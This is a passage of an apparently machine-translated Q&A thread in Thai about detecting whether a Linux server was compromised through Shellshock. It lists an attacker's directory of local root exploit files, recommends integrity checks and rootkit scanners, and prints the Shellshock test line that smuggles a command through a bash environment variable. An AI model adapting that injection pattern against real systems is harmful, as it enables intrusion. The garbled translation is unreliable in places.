-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

หลังจากที่ในขณะที่ฉันสังเกตเห็นการเชื่อมต่อ ssh จากสถานที่ต่าง ๆ เช่นจีนที่มักจะไม่เยี่ยมชมเซิร์ฟเวอร์ของเราที่มาก ฉันทุบตีทุบตีเป็นมาตรการฉุกเฉิน (น่าจะดีที่มีแหล่งแพตช์พร้อมใช้งานจากเว็บไซต์ FSF และไม่ใช่แค่แหล่ง OLD จริง ๆ และไฟล์ปะแก้ (หนึ่งในนั้นไม่ได้ใช้อย่างถูกต้องในตอนแรก) ระบบถูกกำหนดให้เสร็จสมบูรณ์ ลบล้างตอนนี้ดังนั้นหากใครก็ตามที่กำลังมองหาอย่างอื่นเกี่ยวกับการโจมตีคุณสามารถถามได้ แต่อย่าช้า


3

คำตอบนี้ไม่เกี่ยวข้องโดยเฉพาะกับ Shellshock แต่สำหรับระบบใด ๆ ที่คุณอาจคิดว่าถูกบุกรุก

หมายเหตุที่สอง: คุณไม่สามารถกู้คืนจากระบบที่ถูกบุกรุกไปยังระบบรูทได้ สิ่งเดียวที่คุณทำได้คือการทำลายและจัดเตรียมระบบใหม่

พยายามที่จะได้รับการสร้างแบบคงที่สะอาดและคำสั่งการทำงานrpm rpm --verify --allมันจะบอกคุณว่าไฟล์ใดที่เป็นของแพ็คเกจได้รับการแก้ไข แต่เนื่องจากคุณอาจรันบนระบบที่ถูกบุกรุกคุณอาจไม่เชื่อถือผลลัพธ์อย่างสมบูรณ์ จากนั้นคุณสามารถทำrpm -qaเพื่อรับรายการแพ็คเกจสร้างระบบอื่นด้วยแพ็คเกจรุ่นเดียวกันจากนั้นfind / -type f |xargs -r -n 100 md5sum |sortทั้งสองระบบและดูว่าแตกต่างกันอย่างไร นอกจากนี้ถ้าคุณจัดการระบบของคุณอย่างถูกต้อง (หมายถึงไม่ได้ติดตั้งอะไรด้วยตนเองนอก opt / หรือ / usr / local / bin หรืออีกหนึ่งสถานที่ที่ไม่มีการจัดการ), find / -type f -exec rpm -qf {} \;คุณสามารถค้นหาไฟล์ทั้งหมดในระบบของคุณซึ่งไม่ได้อยู่ในแพคเกจที่มี มันควรจะแสดงข้อผิดพลาดสำหรับไฟล์ที่ไม่รู้จัก ฉันให้คุณไม่แสดงผลบวกเป็นแบบฝึกหัด ;-)

ในการทำเช่นเดียวกันกับการพิสูจน์การเข้ารหัสเป็นระยะมีเครื่องมือที่เรียกว่าTripwireคุณยังอาจพบว่าเป็นรุ่นฟรี มันเก่า แต่ก็ทำหน้าที่ของมัน ทางเลือกที่ใหม่กว่าคือAIDEแต่มันไม่ได้ใช้ crypto เมื่อฉันดูเมื่อหลายปีก่อน

มีเครื่องมือบางอย่างที่สามารถช่วยได้ rkhunterตัวอย่างเช่นรูปลักษณ์สำหรับแพคเกจ มันจะสแกนคอมพิวเตอร์ของคุณเพื่อหาชุดเครื่องมือรูทและไฟล์ที่ถูกบุกรุก

เห็นได้ชัดว่าเครื่องมือเหล่านี้ควรได้รับการติดตั้งและกำหนดค่าก่อนที่ระบบจะถูกบุกรุกและเครื่องมือเหล่านี้สามารถกำหนดเป้าหมายได้หากระบบของคุณถูกแฮ็คเพื่อเข้าถึงรูทสำเร็จ นอกจากนี้เครื่องมือเหล่านี้มีความเข้มข้นสูงและช้าลงในระบบของคุณ


2

วิธีเดียวที่จะทราบได้ว่าเซิร์ฟเวอร์ของคุณถูกบุกรุกหรือไม่คือมีลายเซ็นของไฟล์ของคุณและเพื่อเปรียบเทียบไฟล์ปัจจุบันของคุณกับไฟล์นั้น อย่างไรก็ตามคุณสามารถดูว่าคุณมีความเสี่ยง

  1. คุณทำไม่ได้ มีเหตุผลที่จะถือว่าหากเครื่องของคุณถูกบุกรุกเครื่องมือการตรวจสอบตามปกติของคุณ (ps, top, lsof, ... ) ได้ถูกแทนที่ด้วยเครื่องมือที่คล้ายกันซึ่งเอาต์พุตดูเหมือนปกติซ่อนกิจกรรมที่น่าสงสัย
  2. ไม่ สามารถอยู่ในโฟลเดอร์ใดก็ได้ที่มีไฟล์เรียกทำงาน
  3. ไฟล์หรือสคริปต์ที่สามารถเรียกใช้งานได้ (ELF binary, .shell script, ... ) รวมถึงเครื่องมือตรวจสอบตามปกติ

-3

วิธีค้นหาว่ากล่อง linux ของคุณถูกบุกรุกหรือไม่

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

ถ้าหากผลตอบแทน

vulnerable
this is a test

คุณคือ.

หากต้องการรันการอัปเดตภายใต้รูทให้รันคำสั่งต่อไปนี้

sudo yum update bash

16
-1 ตรวจสอบว่าการทุบตีนั้นมีความเสี่ยงหรือไม่
Calimo

1
นอกจากนี้ยังถือว่าคุณกำลังทำงานอยู่yumและไม่ใช่ผู้จัดการแพ็คเกจอื่น
DavidG

-3

คุณสามารถตรวจสอบว่าคุณมีความเสี่ยงหรือไม่โดยการเรียกใช้คำสั่งต่อไปนี้ (รหัสที่จัดทำโดย CSA) เปิดหน้าต่างเทอร์มินัลและป้อนคำสั่งต่อไปนี้ที่พร้อมท์ $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

หากทุบตีของคุณไม่ทันสมัยมันจะพิมพ์:

vulnerable
this is a test

หาก bash ของคุณเป็นรุ่นล่าสุดคุณจะเห็นเฉพาะ:

this is a test

รายละเอียดเพิ่มเติมมีอยู่หลังลิงค์นี้


1
คำถามคือเกี่ยวกับการตรวจสอบว่าเซิร์ฟเวอร์นั้นถูกโจมตีไม่ใช่ว่ามีช่องโหว่
Gareth

โปรดลองอ่านคำตอบอื่น ๆ ก่อนโพสต์ข้อความที่คล้ายกับคำตอบที่มีคะแนนต่ำเพราะไม่ตอบคำถาม
มนู H
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.